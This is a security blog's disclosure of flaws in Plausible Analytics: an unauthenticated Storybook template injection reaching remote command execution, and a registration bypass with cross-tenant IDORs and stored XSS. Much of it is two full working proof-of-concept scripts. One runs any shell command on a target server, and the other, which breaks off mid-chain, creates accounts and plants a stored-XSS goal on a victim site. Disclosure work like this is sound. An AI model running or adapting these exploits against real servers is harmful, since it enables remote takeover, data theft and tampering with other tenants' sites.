Blog
Security

Plausible Analytics: Pre-Auth RCE, Cross-Tenant IDORs, and SSRF-to-RCE

Multiple critical vulnerabilities at Plausible Analytics: pre-auth Storybook RCE, registration bypass with cross-tenant IDORs and stored XSS, and SSO verification SSRF to PostgreSQL RCE.

I had been using Plausible Analytics for years for my side projects, so one question kept bothering me: how safe is the software collecting all of this data?

Bug 01 / Critical

Pre-auth RCE via Phoenix Storybook

Affected: Plausible CE v3.0.0-v3.2.0Fixed: v3.2.1

When I finally found time to audit it, the answer arrived faster than I expected. About 1 hour into static analysis, I had a user-controlled string reaching the Elixir compiler. A little later, remote command execution inside the Plausible container. Oops.

The issue is now tracked as CVE-2026-8467, a critical unauthenticated code-injection vulnerability in phoenix_storybook.

The public plausible/analytics repository on GitHub

The WebSocket was only the beginning

I started with Plausible’s registration flow and opened DevTools to see what the browser was doing. One request immediately stood out:

/live/websocket?_csrf_token=Nng-NQVUGCsvaREpfg8JNAMkdxgSZ1Ru_KwXI1tfjPas-XldAu9Lg_1C&vsn=2.0.0
Chrome DevTools showing the Phoenix LiveView WebSocket used by the Plausible registration page
Phoenix LiveView multiplexes page events over a single WebSocket connection.

This was my entry point into Phoenix LiveView, which carries browser events over a WebSocket to stateful processes on the server. I had never inspected LiveView traffic before, and seeing those messages was enough to pull me in. I downloaded the source for the project’s dependencies and began tracing the socket from the framework upward.

I started with phoenix_live_view itself, but found no promising attack surface there. So I changed the question: what else in Plausible was built on LiveView?

The next lead was phoenix_storybook, a LiveView-powered component explorer. Plausible wired it into the router at /storybook:

scope "/", PlausibleWeb do
  pipe_through :browser
  live_storybook("/storybook", backend_module: PlausibleWeb.Storybook)
end
Plausible's Phoenix Storybook interface and its LiveView traffic in DevTools

That exposed an interesting boundary: browser-originated LiveView events could update the attributes used to render a component variation. I opened the package source and followed one of those values from the WebSocket inward.

Following one value into the compiler

The event that opened the path was psb-assign. It lets a Storybook preview update a component variation over LiveView. In the preview handler, the decoded browser payload is passed directly to handle_set_variation_assign/3:

{new_variation_id, new_attributes} =
  ExtraAssignsHelpers.handle_set_variation_assign(
    assign_params,
    assigns.variations_attributes,
    assigns.story
  )

The helper removes variation_id, then treats every remaining key-value pair as a component attribute. It turns the name into an atom and passes the value through to_value/4:

for {attr, value} <- params, reduce: variation_extra_assigns do
  acc ->
    attr = String.to_atom(attr)
    value = to_value(value, attr, story.attributes(), context)
    Map.put(acc, attr, value)
end

The button story I targeted declares no Storybook attributes, although the component it renders accepts type as a string:

# storybook/button.story.exs
def function, do: &PlausibleWeb.Components.Generic.button/1
def attributes, do: []

# lib/plausible_web/components/generic.ex
attr(:type, :string, default: "button")

to_value/4 checks story.attributes(), not the component’s own declarations. Because that list is empty, it finds no type for type and returns my binary unchanged. A declared :string would also remain a binary, so missing type information is not the vulnerability by itself. The critical step comes next, when ComponentRenderer inserts every binary value directly into generated HEEx:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

There is no escaping before val is placed between the quotes. A crafted value can close the original attribute and introduce a new {...} HEEx expression. At that point, browser-controlled data has become template source.

The renderer then compiles that generated HEEx and evaluates the resulting Elixir AST:

quoted_code =
  EEx.compile_string(heex,
    engine: TagEngine,
    caller: __ENV__,
    source: heex,
    tag_handler: Phoenix.LiveView.HTMLEngine
  )

env =
  Map.merge(__ENV__, %{
    requires: [Kernel],
    aliases: eval_quoted_aliases(opts, fun_or_mod),
    functions: eval_quoted_functions(opts, fun_or_mod),
    macros: [{Kernel, Kernel.__info__(:macros)}]
  })

{evaluated, _, _} =
  Code.eval_quoted_with_env(quoted_code, [assigns: %{}], env)

LiveViewEngine.live_to_iodata(evaluated)

EEx.compile_string/2 parses the injected {...} as a real expression. Code.eval_quoted_with_env/3 executes it. The environment imports the full Kernel function and macro lists, but imports are not even required for a fully-qualified call such as System.cmd/2. There is no module or function allowlist.

execution flow - diagram
data → codeWebSocket eventpsb-assignLiveView handlerhandle_event/3Attribute updateto_value/4Generated HEExattributes_markup/1HEEx sourceQuoted Elixir ASTEEx.compile_string/2quoted ASTServer-side effectCode.eval_quoted_with_env/3shell output

playing - click any stage, or focus one and use the arrow keys

01value: { variation_id: "default", type: "foo\" pwned={…} a=\"" }

An unauthenticated client sends one attacker-controlled string as an attribute value.

captured frame, 219 B

That is the complete path: a WebSocket value became a component attribute, the attribute became HEEx source, and the source became executable Elixir.

Breaking out of the HEEx attribute

I first used an undefined variable instead of a command. It is a clean compiler oracle: if the server complains about aaaa, my value is no longer just a string.

[
  "3",
  "3",
  "lv:plausible_web_storybook_button-playground-preview",
  "event",
  {
    "type": "click",
    "event": "psb-assign",
    "value": {
      "variation_id": "default",
      "type": "foo\" pwned={aaaa} a=\""
    }
  }
]

The five top-level values are the Phoenix channel join reference, message reference, LiveView topic, channel event, and payload. The inner event: "psb-assign" is the Storybook action.

After JSON decoding, the malicious attribute value is:

foo" pwned={aaaa} a="

The renderer placed it inside another quoted attribute. The resulting HEEx contained the equivalent of:

<.button type="foo" pwned={aaaa} a="" />
A WebSocket psb-assign payload beside Plausible logs reporting the injected undefined variable aaaa
The compile error proved that attacker-controlled input had escaped the string and entered HEEx expression context.

The first quote closed type. pwned={aaaa} became a new attribute whose value was an inline Elixir expression, and a=" repaired the remaining syntax. The server then returned exactly the error I wanted: undefined variable "aaaa".

Playload explanation
one character changes the grammar

See how one injected quote turns an attribute value into executable HEEx.

01 / GENERATED SOURCE

The renderer builds new source

attributes_markup/1~s|#{name}="#{val}"|
type="foo" pwned={aaaa} a=""
"
Closes type

The first injected quote ends the original attribute.

{…}
Creates code

pwned becomes a new attribute with an expression value.

a=
Repairs syntax

A throwaway attribute consumes the template’s remaining quote.

01 of 03

Yep, we had code injection. From here, getting command execution was mechanical.

Replacing the oracle with a command

I replaced the undefined variable with System.cmd/2:

[
  "3",
  "3",
  "lv:plausible_web_storybook_button-playground-preview",
  "event",
  {
    "type": "click",
    "event": "psb-assign",
    "value": {
      "variation_id": "default",
      "type": "foo\" pwned={elem(System.cmd(\"sh\", [\"-c\", \"id\"]), 0)} a=\""
    }
  }
]

System.cmd/2 returns {output, exit_status}. elem(..., 0) selects the command output so the injected expression produces a renderable string. The command executes during server-side template evaluation, before any rendering error can save the process.

Burp Suite WebSocket Repeater showing an injected System.cmd call and the id command output in the LiveView response
The LiveView diff contains the result of id: uid 999, the plausible user used by the official container image.

No account. No user interaction. One WebSocket event to a reachable Storybook playground was enough.

What the attacker gets

This is pre-authentication remote code execution with the privileges of the Phoenix application process. In Plausible’s official container that process runs as the non-root plausible user (uid=999), which is why the PoC returned:

uid=999(plausible) gid=65533(nogroup) groups=65533(nogroup),65533(nogroup)

Code running inside the application can access everything the Plausible process can access: application secrets, database credentials, analytics data, writable files, and internal services reachable from the container. It can also modify or destroy data and execute any commands.

Here is PoC that you can use to test on your Plausible Analytics server:

Pre-Auth PoC
poc.tsTypeScript · 412 lines
#!/usr/bin/env bun
// pre-auth rce 

const PATH =
  "/storybook/iframe/button?playground=true&variation_id=default&topic=pwn";
const CHILD_ID = "plausible_web_storybook_button-playground-preview";
const REPLY_TIMEOUT_MS = 8000;

const usage = (): never => {
  console.error("usage: bun poc.ts <target-url> [command]");
  console.error('  example: bun poc.ts http://localhost:8000 "uname -a"');
  process.exit(1);
};

const sleep = (ms: number): Promise<void> =>
  new Promise((resolve) => setTimeout(resolve, ms));

const parseTarget = (raw: string): { host: string; wsHost: string } => {
  let url: URL;

  try {
    url = new URL(raw);
  } catch {
    throw new Error(`invalid url: ${raw}`);
  }

  if (url.protocol !== "http:" && url.protocol !== "https:") {
    throw new Error(
      `unsupported protocol: ${url.protocol} (expected http or https)`,
    );
  }

  const wsProtocol = url.protocol === "https:" ? "wss:" : "ws:";

  return {
    host: url.origin,
    wsHost: `${wsProtocol}//${url.host}`,
  };
};

const targetArg = process.argv[2] ?? usage();
const { host: HOST, wsHost: WS_HOST } = parseTarget(targetArg);

const UA =
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36";

const BROWSER_HEADERS: Record<string, string> = {
  "User-Agent": UA,
  Accept:
    "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  "Accept-Language": "en-US,en;q=0.9",
  "Accept-Encoding": "gzip, deflate, br",
  "Cache-Control": "no-cache",
  Pragma: "no-cache",
  "Sec-Ch-Ua-Mobile": "?0",
  "Sec-Ch-Ua-Platform": '"macOS"',
  "Sec-Fetch-Dest": "iframe",
  "Sec-Fetch-Mode": "navigate",
  "Sec-Fetch-Site": "same-origin",
  "Sec-Fetch-User": "?1",
  "Upgrade-Insecure-Requests": "1"
};

const WS_BROWSER_HEADERS: Record<string, string> = {
  "User-Agent": UA,
  "Accept-Language": "en-US,en;q=0.9",
  "Cache-Control": "no-cache",
  Pragma: "no-cache",
  "Sec-Ch-Ua-Mobile": "?0",
  "Sec-Ch-Ua-Platform": '"macOS"'
};

const matchOne = (re: RegExp, s: string): string | null => {
  const m = s.match(re);
  return m?.[1] ?? null;
};

const matchAll = (re: RegExp, s: string): string[] =>
  [...s.matchAll(re)].flatMap((m) => (m[1] === undefined ? [] : [m[1]]));

type Page = {
  body: string;
  cookie: string;
  csrf: string;
  sessions: string[];
  statics: string[];
  phxIds: string[];
};

const fetchPage = async (url: string): Promise<Page> => {
  const res = await fetch(url, {
    redirect: "manual",
    headers: BROWSER_HEADERS,
    tls: { rejectUnauthorized: false },
  } as any);
  const body = await res.text();
  const setCookie = res.headers.get("set-cookie") ?? "";

  log.info(`status code: ${res.status}`);

  return {
    body,
    cookie: matchOne(/(_plausible_key=[^;,]+)/, setCookie) ?? "",
    csrf: matchOne(/<meta content="([^"]+)" name="csrf-token">/, body) ?? "",
    sessions: matchAll(/data-phx-session="([^"]+)"/g, body),
    statics: matchAll(/data-phx-static="([^"]+)"/g, body),
    phxIds: matchAll(/id="(phx-[^"]+)"/g, body),
  };
};

const openSocket = (csrf: string, cookie: string): Promise<WebSocket> => {
  const url = `${WS_HOST}/live/websocket?_csrf_token=${encodeURIComponent(csrf)}&_track_static[0]=&_mounts=0&vsn=2.0.0`;
  const ws = new WebSocket(url, {
    headers: {
      ...WS_BROWSER_HEADERS,
      Cookie: cookie,
    },
    tls: { rejectUnauthorized: false },
  } as any);

  return new Promise((resolve, reject) => {
    ws.addEventListener("open", () => resolve(ws), { once: true });
    ws.addEventListener("error", (e) => reject(e), { once: true });
  });
};

type Frame = [string | null, string | null, string, string, any];

const parseFrame = (raw: string): Frame | null => {
  try {
    const arr = JSON.parse(raw);
    return Array.isArray(arr) && arr.length >= 5 ? (arr as Frame) : null;
  } catch {
    return null;
  }
};

const isReplyTo =
  (ref: string) =>
  (raw: string): boolean => {
    const f = parseFrame(raw);
    return !!f && f[1] === ref && f[3] === "phx_reply";
  };

const makeReceiver = (ws: WebSocket) => {
  const queue: string[] = [];
  const waiters: ((msg: string) => void)[] = [];

  ws.addEventListener("message", (ev: MessageEvent) => {
    const data =
      typeof ev.data === "string"
        ? ev.data
        : new TextDecoder().decode(ev.data as ArrayBuffer);
    const next = waiters.shift();
    if (next) next(data);
    else queue.push(data);
  });

  return (timeoutMs: number): Promise<string | null> => {
    if (queue.length) return Promise.resolve(queue.shift()!);
    return new Promise((resolve) => {
      const fn = (msg: string) => {
        clearTimeout(timer);
        resolve(msg);
      };
      const timer = setTimeout(() => {
        const i = waiters.indexOf(fn);
        if (i >= 0) waiters.splice(i, 1);
        resolve(null);
      }, timeoutMs);
      waiters.push(fn);
    });
  };
};

type Receiver = (timeoutMs: number) => Promise<string | null>;

const awaitFrame = async (
  recv: Receiver,
  match: (frame: string) => boolean,
  timeoutMs: number,
): Promise<{ matched: string | null; skipped: string[] }> => {
  const skipped: string[] = [];
  const deadline = Date.now() + timeoutMs;
  while (true) {
    const remaining = deadline - Date.now();
    if (remaining <= 0) return { matched: null, skipped };
    const msg = await recv(remaining);
    if (msg === null) return { matched: null, skipped };
    if (match(msg)) return { matched: msg, skipped };
    skipped.push(msg);
  }
};

const sendJoin = (
  ws: WebSocket,
  ref: string,
  topic: string,
  session: string,
  staticToken: string,
  csrf: string,
): void => {
  ws.send(
    JSON.stringify([
      ref,
      ref,
      `lv:${topic}`,
      "phx_join",
      {
        url: `${HOST}${PATH}`,
        params: { _csrf_token: csrf, _mounts: 0 },
        session,
        static: staticToken,
      },
    ]),
  );
};

const sendExploit = (ws: WebSocket, ref: string, payload: string): void => {
  ws.send(
    JSON.stringify([
      ref,
      ref,
      `lv:${CHILD_ID}`,
      "event",
      {
        type: "click",
        event: "psb-assign",
        value: { variation_id: "default", type: payload },
      },
    ]),
  );
};

const buildPayload = (cmd: string): string => {
  const elixir = `elem(System.cmd(${JSON.stringify("sh")}, ["-c", ${JSON.stringify(cmd)}]), 0)`;
  return `foo" pwned={${elixir}} a="`;
};

const replyStatus = (raw: string): string | null => {
  const f = parseFrame(raw);
  return f?.[4]?.status ?? null;
};

const findChildSessionInReply = (
  raw: string,
  parent: string,
): string | null => {
  const f = parseFrame(raw);
  if (!f) return null;
  // The rendered HTML lives nested inside the phx_reply payload as plain (not JSON-escaped) strings.
  const tokens: string[] = [];
  const walk = (n: unknown): void => {
    if (typeof n === "string") {
      for (const m of n.matchAll(/data-phx-session="([^"]+)"/g)) {
        if (m[1] !== undefined) tokens.push(m[1]);
      }
    } else if (Array.isArray(n)) n.forEach(walk);
    else if (n && typeof n === "object") Object.values(n).forEach(walk);
  };
  walk(f[4]);
  return tokens.find((t) => t !== parent) ?? null;
};

const decodeHtml = (s: string): string =>
  s
    .replace(/&quot;/g, '"')
    .replace(/&#39;/g, "'")
    .replace(/&amp;/g, "&")
    .replace(/&lt;/g, "<")
    .replace(/&gt;/g, ">");

const findPwned = (node: unknown): string | null => {
  if (typeof node === "string") {
    const m = node.match(/pwned="([^"]*)"/);
    return m?.[1] ?? null;
  }
  if (Array.isArray(node)) {
    return node.reduce<string | null>((acc, v) => acc ?? findPwned(v), null);
  }
  if (node && typeof node === "object") {
    return Object.values(node).reduce<string | null>(
      (acc, v) => acc ?? findPwned(v),
      null,
    );
  }
  return null;
};

const extractOutput = (raw: string): string | null => {
  const f = parseFrame(raw);
  if (!f) return null;
  const found = findPwned(f[4]);
  return found === null ? null : decodeHtml(found);
};

const c = {
  reset: "\x1b[0m",
  dim: "\x1b[2m",
  bold: "\x1b[1m",
  red: "\x1b[31m",
  green: "\x1b[32m",
  yellow: "\x1b[33m",
  blue: "\x1b[34m",
  cyan: "\x1b[36m",
};

const log = {
  info: (msg: string): void => console.log(`${c.blue}[*]${c.reset} ${msg}`),
  ok: (msg: string): void => console.log(`${c.green}[+]${c.reset} ${msg}`),
  warn: (msg: string): void => console.log(`${c.yellow}[!]${c.reset} ${msg}`),
  fail: (msg: string): void => console.log(`${c.red}[-]${c.reset} ${msg}`),
  result: (label: string, body: string): void =>
    console.log(`${c.bold}${c.green}[+] ${label}${c.reset}\n${body}`),
};

const awaitReplyOk = async (
  recv: Receiver,
  ref: string,
  step: string,
): Promise<string | null> => {
  const { matched } = await awaitFrame(recv, isReplyTo(ref), REPLY_TIMEOUT_MS);
  if (!matched) {
    log.fail(`${step}: no reply for ref=${ref} within ${REPLY_TIMEOUT_MS}ms`);
    return null;
  }
  const status = replyStatus(matched);
  if (status !== "ok") {
    log.fail(`${step}: reply status=${status ?? "?"}`);
    return null;
  }
  return matched;
};

const main = async (): Promise<void> => {
  const cmd = process.argv[3] ?? "id";

  log.info(`Plausible v3.0.0 <= v3.2.0 Pre-Auth RCE PoC`)
  log.info(`target  ${HOST}${PATH}`);
  log.info(`command ${c.bold}${cmd}${c.reset}`);

  const page = await fetchPage(`${HOST}${PATH}`);
  if (!page.csrf) return log.fail("csrf token not found in response");
  if (!page.cookie) return log.fail("session cookie not set");
  const [phxId] = page.phxIds;
  const [parentSession] = page.sessions;
  const [parentStatic, childStatic] = page.statics;
  if (!phxId || !parentSession || !parentStatic || !childStatic) {
    return log.fail(
      `incomplete LiveView tokens (phxIds=${page.phxIds.length}, sessions=${page.sessions.length}, statics=${page.statics.length})`,
    );
  }
  log.ok(`csrf=${page.csrf.slice(0, 12)}… cookie=${page.cookie.slice(0, 24)}…`);
  log.ok(
    `parsed ${page.sessions.length} session(s), ${page.statics.length} static(s), phx-id=${phxId}`,
  );

  await sleep(100);

  const ws = await openSocket(page.csrf, page.cookie);
  log.ok("websocket connected");
  const recv = makeReceiver(ws);

  log.info("joining parent ComponentIframeLive");
  sendJoin(ws, "1", phxId, parentSession, parentStatic, page.csrf);
  const parentReply = await awaitReplyOk(recv, "1", "parent join");
  if (!parentReply) {
    ws.close();
    return;
  }
  log.ok(`parent joined (${parentReply.length}B)`);

  const childSession = findChildSessionInReply(parentReply, parentSession);
  if (!childSession) {
    log.fail("child session not found in parent reply");
    ws.close();
    return;
  }
  log.ok(`child session ${childSession.slice(0, 32)}…`);

  log.info("joining child PlaygroundPreviewLive");
  sendJoin(ws, "2", CHILD_ID, childSession, childStatic, page.csrf);
  const childReply = await awaitReplyOk(recv, "2", "child join");
  if (!childReply) {
    ws.close();
    return;
  }
  log.ok(`child joined (${childReply.length}B)`);

  const payload = buildPayload(cmd);
  log.info(`firing injection ${c.dim}${payload}${c.reset}`);
  sendExploit(ws, "3", payload);
  const exploitReply = await awaitReplyOk(recv, "3", "exploit");
  if (!exploitReply) {
    ws.close();
    return;
  }

  ws.close();

  const output = extractOutput(exploitReply);
  if (output === null) {
    log.fail('no pwned="…" attribute in response - payload did not render');
    return;
  }
  log.result(`output of \`${cmd}\``, output.trimEnd());
};

main().catch((err) => {
  console.error(err);
  process.exit(1);
});
poc.tsTypeScript · 412 lines
Attack requests flow
  1. ·GET/storybook/iframe/button?playground=true&variation_id=default200

    Anonymous request. The response carries the CSRF meta tag, a _plausible_key cookie, one data-phx-session and two data-phx-static tokens.

  2. ·upgrade/live/websocket?_csrf_token=…&vsn=2.0.0101

    HTTP/1.1 101 Switching Protocols - the transport changes here. The CSRF token and the cookie ride on the handshake, and everything below is a frame on this one socket. A foreign Origin is refused with 403, so the attacker connects directly rather than through someone else’s browser.

  3. +0 ms1/1phx_joinlv:phx-GM5LqdzkLvrJNwtC1169 B

    Join the parent ComponentIframeLive. The topic is a per-session random id.

  4. +1 ms1/1phx_replystatus: "ok"1190 B

    The reply embeds a second data-phx-session - the child playground’s own token.

  5. +1 ms2/2phx_joinlv:plausible_web_storybook_button-playground-preview1257 B

    Join the child PlaygroundPreviewLive with that token. Still no account, still no interaction.

  6. +3 ms2/2phx_replystatus: "ok"971 B

    The playground is live and accepting events on a channel the client opened itself.

  7. +3 ms3/3eventpsb-assign219 B

    value: { variation_id: "default", type: "foo\" pwned={elem(System.cmd(\"sh\", [\"-c\", \"id\"]), 0)} a=\"" }

  8. +5 ms2/3phx_replystatus: "ok" - diff711 B

    Note the refs: join_ref 2, msg_ref 3. The body is a LiveView diff, and slot "3" of the button template now holds the command output.

diff → "1" → "0" → slot "3" id="button-single-default" a="" pwned="uid=999(plausible) gid=65533(nogroup) groups=65533(nogroup),65533(nogroup)"
expression returns a binaryelem(System.cmd("sh", ["-c", "id"]), 0)phx_reply status: "ok"

The output is rendered into the diff as an attribute value and shipped to the client.

expression returns anything elseSystem.cmd("sh", ["-c", "id"])phx_error {}

The LiveView process dies, the event ref is never answered, and the compile error stays in the server log. The command still ran.

The public record assigns a CVSS 4.0 score of 9.5 Critical with the vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H. The attack requirement is that an affected Storybook playground is enabled and reachable.

Disclosure and references

The vulnerability was reported privately on May 11, 2026. It was introduced in commit e35379d and fixed in commit 56ab846.

Bug 02 / IDOR + stored XSS

Registration bypass to cross-tenant settings tampering + stored XSS

Affected: Plausible CE v2.1.2-v3.2.1 (latest)Fixed: Unfixed in any release - patched on master

The second chain began at the registration form. Plausible Analytics CE defaults to invite-only registration, and an invalid invitation correctly renders an expired-invitation page. The mounted LiveView still accepted a direct register event, however, allowing an unauthenticated visitor to create a normal account without a valid invitation.

After creating an attacker-controlled site, that account could cross the tenant boundary by supplying another site’s site_id. The save-hostname-rule, save-ip-rule, save-page-rule, and save-country-rule handlers could add Shield rules to the victim site. save-goal could also re-parent an attacker-controlled goal to that site, where its crafted display_name became stored XSS when an owner or admin opened the goal for editing.

The PoC performs the complete chain: bypass registration, create and authenticate the attacker account, create a foothold site, add cross-tenant Shield rules, and plant the stored-XSS goal. Everything required to reproduce it is contained in the script; the accompanying video can carry the rest of the explanation.

The complete chain: invite-only registration bypass, cross-tenant Shield-rule changes, and a stored-XSS goal planted on another Plausible Analytics site.
poc-idor.tsTypeScript · 418 lines
#!/usr/bin/env bun
// registration bypass + cross tenant idors + stored xss

const BASE = "http://127.0.0.1:8002";
const WS = BASE.replace(/^http/, "ws") + "/live/websocket";
const UA = "Mozilla/5.0";

const VICTIM_SITE_ID = 1; // Target site_id -> whoareme.com == 1 in my case.
const VICTIM_DOMAIN = "whoareme.com";

const TS = Date.now();
const email = `pwn-${TS}@attacker.com`;
const password = "AttackerPassword12345!";
const attackerDomain = `attacker-${TS}.com`;

const XSS_PAYLOAD =
  "Edit me: " + "‎ ".repeat(100) + "'+alert(document.domain)+'";
const PAGE_PATH = `/xss`;

const c = {
  reset: "\x1b[0m",
  bold: "\x1b[1m",
  red: "\x1b[31m",
  green: "\x1b[32m",
  yellow: "\x1b[33m",
};
const log = {
  hdr: (m: string) => console.log(`\n${c.bold}== ${m} ==${c.reset}`),
  ok: (m: string) => console.log(`  ${c.green}[+]${c.reset} ${m}`),
  fail: (m: string) => console.log(`  ${c.red}[-]${c.reset} ${m}`),
  warn: (m: string) => console.log(`  ${c.yellow}[!]${c.reset} ${m}`),
  info: (m: string) => console.log(`  [*] ${m}`),
};
const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms));
const m1 = (re: RegExp, s: string) => s.match(re)?.[1] ?? null;
const formBody = (f: Record<string, string | number>) =>
  new URLSearchParams(
    Object.entries(f).map(([k, v]) => [k, String(v)]),
  ).toString();

const jar = new Map<string, string>();
function applySetCookie(h: Headers) {
  const raws = (h as any).getSetCookie?.() ?? [h.get("set-cookie") ?? ""];
  for (const raw of raws as string[]) {
    const m = raw.match(/^([^=]+)=([^;]+)/);
    if (m) jar.set(m[1], m[2]);
  }
}
const cookieHeader = () =>
  [...jar.entries()].map(([k, v]) => `${k}=${v}`).join("; ");
async function http(path: string, init: RequestInit = {}): Promise<Response> {
  const r = await fetch(BASE + path, {
    ...init,
    redirect: "manual",
    headers: {
      "User-Agent": UA,
      Cookie: cookieHeader(),
      ...(init.headers ?? {}),
    },
  });
  applySetCookie(r.headers);
  return r;
}

type LV = {
  joinReply: any;
  html: string;
  frames: () => any[];
  event: (ref: string, value: any, cid?: number | null) => Promise<any>;
  close: () => void;
};

async function lvOpen(mountUrl: string): Promise<LV> {
  const u = new URL(mountUrl, BASE);
  const page = await http(u.pathname + u.search);
  if (page.status !== 200)
    throw new Error(`mount HTTP ${page.status} on ${mountUrl}`);
  const html = await page.text();
  const csrf = m1(/name="csrf-token"[^>]*content="([^"]+)"/, html);
  const session = m1(/data-phx-session="([^"]+)"/, html);
  const staticTok = m1(/data-phx-static="([^"]+)"/, html);
  const phxId = m1(/id="(phx-[^"]+)"/, html);
  if (!csrf || !session || !phxId)
    throw new Error(`LV tokens missing on ${mountUrl}`);

  const ws = new WebSocket(
    `${WS}?_csrf_token=${encodeURIComponent(csrf)}&_track_static[0]=&_mounts=0&vsn=2.0.0`,
    {
      headers: { Cookie: cookieHeader(), Origin: BASE, "User-Agent": UA },
    } as any,
  );
  await new Promise<void>((res, rej) => {
    ws.addEventListener("open", () => res(), { once: true });
    ws.addEventListener("error", (e) => rej(e), { once: true });
  });

  const all: any[] = [];
  const inbox: any[] = [];
  ws.addEventListener("message", (ev: MessageEvent) => {
    const data =
      typeof ev.data === "string"
        ? ev.data
        : new TextDecoder().decode(ev.data as ArrayBuffer);
    try {
      const a = JSON.parse(data);
      all.push(a);
      inbox.push(a);
    } catch {}
  });
  const wait = async (ref: string, ms = 8000) => {
    const dl = Date.now() + ms;
    while (Date.now() < dl) {
      while (inbox.length) {
        const a = inbox.shift();
        if (a[1] === ref && a[3] === "phx_reply") return a;
      }
      await sleep(20);
    }
    return null;
  };

  ws.send(
    JSON.stringify([
      "1",
      "1",
      `lv:${phxId}`,
      "phx_join",
      {
        url: mountUrl,
        params: { _csrf_token: csrf, _mounts: 0 },
        session,
        static: staticTok,
        sticky: false,
      },
    ]),
  );
  const joinReply = await wait("1");
  if (joinReply?.[4]?.status !== "ok")
    throw new Error(
      `phx_join failed on ${mountUrl}: ${JSON.stringify(joinReply).slice(0, 300)}`,
    );

  return {
    joinReply,
    html,
    frames: () => all.slice(),
    event: async (ref, value, cid) => {
      const payload = cid != null ? { ...value, cid } : value;
      ws.send(JSON.stringify(["1", ref, `lv:${phxId}`, "event", payload]));
      const reply = await wait(ref);
      await sleep(80);
      return reply;
    },
    close: () => ws.close(),
  };
}

// Merge every component ("c") map seen across all frames.
function mergeComponents(frames: any[]): Record<string, any> {
  const out: Record<string, any> = {};
  for (const f of frames) {
    const resp = f?.[4]?.response;
    const c = resp?.diff?.c ?? resp?.c;
    if (c && typeof c === "object")
      for (const k of Object.keys(c)) out[k] = c[k];
  }
  return out;
}
// The Modal LiveComponent's cid — taken from a `JS.push("open", target: <cid>)`
// command embedded in the rendered tree (data-onopen attribute).
function findModalCid(frames: any[]): number {
  const blob = JSON.stringify(frames).replace(/&quot;/g, '"');
  const m = blob.match(
    /"event":"open"[^}]*?"target":(\d+)|"target":(\d+)[^}]*?"event":"open"/,
  );
  if (!m) throw new Error("modal cid (open-event target) not found");
  return Number(m[1] ?? m[2]);
}

function findFormCid(frames: any[]): number {
  const c = mergeComponents(frames);
  const cid = Object.keys(c).find((k) =>
    JSON.stringify(c[k]).includes("save-goal"),
  );
  if (!cid)
    throw new Error("form cid (component containing save-goal) not found");
  return Number(cid);
}

function findShieldCid(html: string, event: string): number {
  const m =
    html.match(new RegExp(`phx-submit="${event}"\\s+phx-target="(\\d+)"`)) ??
    html.match(new RegExp(`phx-target="(\\d+)"[^>]*phx-submit="${event}"`));
  if (!m) throw new Error(`shield form cid not found for ${event}`);
  return Number(m[1]);
}

async function main() {
  log.info(
    `target ${BASE}  victim=${VICTIM_DOMAIN} (site_id=${VICTIM_SITE_ID})`,
  );
  log.info(`attacker ${email}`);

  log.hdr(`Stage 0: anonymous bypass-register ${email}`);
  {
    const lv = await lvOpen(`${BASE}/register/invitation/garbage`);
    const r = await lv.event("2", {
      type: "form",
      event: "register",
      value: formBody({
        "user[name]": "yoyo",
        "user[email]": email,
        "user[password]": password,
        "user[password_confirmation]": password,
        "h-captcha-response": "",
      }),
    });
    lv.close();
    if (r?.[4]?.status !== "ok")
      throw new Error(`register failed: ${JSON.stringify(r).slice(0, 300)}`);
    log.ok(`registered (DISABLE_REGISTRATION=invite_only bypassed)`);
  }

  log.hdr("Stage 1: log in");
  {
    const csrf = m1(
      /name="_csrf_token"[^>]*value="([^"]+)"/,
      await (await http("/login")).text(),
    );
    if (!csrf) throw new Error("login csrf not found");
    const r = await http("/login", {
      method: "POST",
      headers: { "Content-Type": "application/x-www-form-urlencoded" },
      body: formBody({ _csrf_token: csrf, email, password }),
    });
    if (r.status !== 302) throw new Error(`login failed status=${r.status}`);
    log.ok(`logged in -> ${r.headers.get("location")}`);
  }

  log.hdr(`Stage 2: create attacker site ${attackerDomain}`);
  {
    const html = await (await http("/sites/new")).text();
    const csrf =
      m1(/<input name="_csrf_token"[^>]*value="([^"]+)"/, html) ??
      m1(/name="csrf-token"[^>]*content="([^"]+)"/, html);
    if (!csrf) throw new Error("create-site csrf not found");
    const r = await http("/sites", {
      method: "POST",
      headers: { "Content-Type": "application/x-www-form-urlencoded" },
      body: formBody({
        _csrf_token: csrf,
        "site[domain]": attackerDomain,
        "site[timezone]": "Etc/UTC",
      }),
    });
    if (r.status !== 302) throw new Error(`POST /sites status=${r.status}`);
    log.ok(`created -> ${r.headers.get("location")}`);
  }

  log.hdr(
    "Stage 3: plant scroll goal with Alpine XSS payload (on attacker site)",
  );
  {
    const lv = await lvOpen(`${BASE}/${attackerDomain}/settings/goals`);
    const modalCid = findModalCid(lv.frames());
    await lv.event("2", {
      type: "click",
      event: "add-goal",
      value: { "goal-type": "scroll" },
    });
    await lv.event("3", { type: "click", event: "open", value: {} }, modalCid);
    const formCid = findFormCid(lv.frames());
    log.info(`modal cid=${modalCid}  form cid=${formCid}`);
    const r = await lv.event(
      "4",
      {
        type: "form",
        event: "save-goal",
        value: formBody({
          "goal[page_path]": PAGE_PATH,
          "goal[scroll_threshold]": 90,
          "goal[display_name]": XSS_PAYLOAD,
        }),
      },
      formCid,
    );
    lv.close();
    if (r?.[4]?.status !== "ok")
      throw new Error(
        `save-goal(create) failed: ${JSON.stringify(r).slice(0, 300)}`,
      );
    log.ok(
      `scroll goal created on attacker site (display_name = ${XSS_PAYLOAD})`,
    );
  }

  log.hdr("Stage 4: resolve the new goal id");
  let goalId: number;
  {
    const html = await (await http(`/${attackerDomain}/settings/goals`)).text();
    const ids = [...html.matchAll(/phx-value-goal-id="(\d+)"/g)].map((m) =>
      Number(m[1]),
    );
    if (ids.length === 0)
      throw new Error("no goal-id found on attacker goal-settings page");
    goalId = Math.max(...ids);
    log.ok(`goal id = ${goalId}`);
  }

  log.hdr(
    `Stage 5: re-parent goal ${goalId} -> ${VICTIM_DOMAIN} (site_id=${VICTIM_SITE_ID})`,
  );
